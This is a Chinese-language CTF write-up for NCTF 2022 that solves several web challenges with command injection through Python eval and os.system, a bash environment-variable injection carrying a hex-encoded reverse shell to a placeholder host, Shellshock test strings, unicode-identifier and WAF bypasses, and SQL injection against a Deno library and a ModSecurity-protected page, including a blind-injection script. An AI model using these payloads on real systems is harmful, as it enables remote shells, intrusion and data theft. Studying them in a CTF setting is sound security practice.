程序设计实验作业,但是签到题(听zys说建议把终端字体调小一点并且只需要输入一串来自35年前的神秘秘籍
35年前的秘籍,就是魂斗罗的秘籍
上、上、下、下、左、右、左、右、B、A、B、A
就可以得到flag
NCTF{VVe1c0m3_T0_NCTF_2022!!!}
网页源码里有提示/source
,得到源码
1 |
|
1 | def waf(s): |
这里是走os.system()利用换行来执行多条命令
但是要先让eval()执行成功才能走到os.system
所以要用’’’来表示python的多行代码,同时os.system执行第一条执行成功后才会执行第二条命令,所以要加一个’来闭合前面的’’’,结尾同理
用%09来替代空格
这里有两种方法
static文件夹是flask的静态文件夹,我们是可以访问到的
而且在报错页面也可以知道app.py的运行目录
payload:
1 | GET: /calc?num='''w'%0acp%09/*f*%09/home/static/v2%0a'123'''#f也可以换成大写试一下 |
这条代码执行后的log是
然后在/static/v2下载就行
但是如果有坏b把flag文件弄走了就没办法了
因为反弹shell的命令里有被ban的字符,可以先把命令下载下来,然后再去执行他
v2.sh
1 |
|
payload
1 | GET: /calc?num='''w'%0awget%09{vpshost}/v2.sh%0a'123''' |
原来我上面写的是非预期XD
出题师傅的预期解是利用环境变量注入来执行命令,这里涉及到p佬的一篇文章我是如何利用环境变量注入执行任意命令
这里是因为python3的os.system()也是利用/bin/sh -c 来执行的
在subproccess.py文件中
所以可以使用环境变量进行注入
p佬文章中的三个poc
- Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如
TEST=() { :; }; id;
- Bash 4.4以前:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
- Bash 4.4及以上:
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。
接下来就是进行环境变量的覆盖,因为python的环境变量是以字典的形式存在的
可以使用python的list生成器和中括号进行变量覆盖
1 | a={"aaa":'123'} |
Python黑魔法-绕过空格实现变量覆盖(这篇文章中有写过原理,但是使用这里面的方式成功不了,本地都无法执行)
然后就是进行覆盖了,一个个试poc
在引号包裹中的字符可以使用绕过,16进制或者unicode编码都行
然后就是绕过os,这个没有被引号包裹的字符
这里直接使用Pupi1师傅的文字
但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如
ᵒ
来代替o
,从而绕过限制。
最终的payload:
1 | [[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]] |
这个在hack.lu ctf中出现过
在后面多传一个?参数就会造成bug,从而导致注入
摘自HuLi的博客:
但是deno 的lib 忘记对栏位名称的
?
做escape 了,所以如果你传:{"id":"1", "?": "A"}
,最后出来的SQL 会是:
1 select * from `food` where `id` =? and `?` =?而bind 完之后就会变成:
1 select * from `food` where `id` = '1' and `'A'` =?你会发现A 那边可以做SQL injection,只要先闭合那个反引号就行了。
但问题是这样会产生不合法的栏位名称,因为里面一定有个单引号,像这样:
1 select * from `food` where `id` = '1' and `'name` --'=?会出现:
Error: no such column: ‘name
然后使用下面的闭合方式可以绕过不存在的字段名
1 | select id from food where `'not_exist'` and 0 union select 1 ; |
payload:
1 | GET: /flight?id=1&?=`+and+0+union+select+1,flag+from+flag -- |
给出的hint里知道waf用的是modsecurity
ModSecurity是一个开源的、跨平台的Web应用防火墙(WAF),被称为WAF界的“瑞士军刀”。它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护
在网上搜bypass方法
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
modsecurity是利用Libinjection
进行语义分析,所以常规的and,or,||,&&都不能用了作为连接符
这里使用^
(异或)来连接两个语句从而进行注入
1 | GET: /sql.php?id=1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={}) |
当正确的时候,页面不会有回显
利用脚本进行盲注
1 | import requests |
利用这篇文章的payloadhttps://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727
1 | http://121.37.11.207:8099/sql.php?id=@.:=right(right((select hex(password) from users.info limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@. |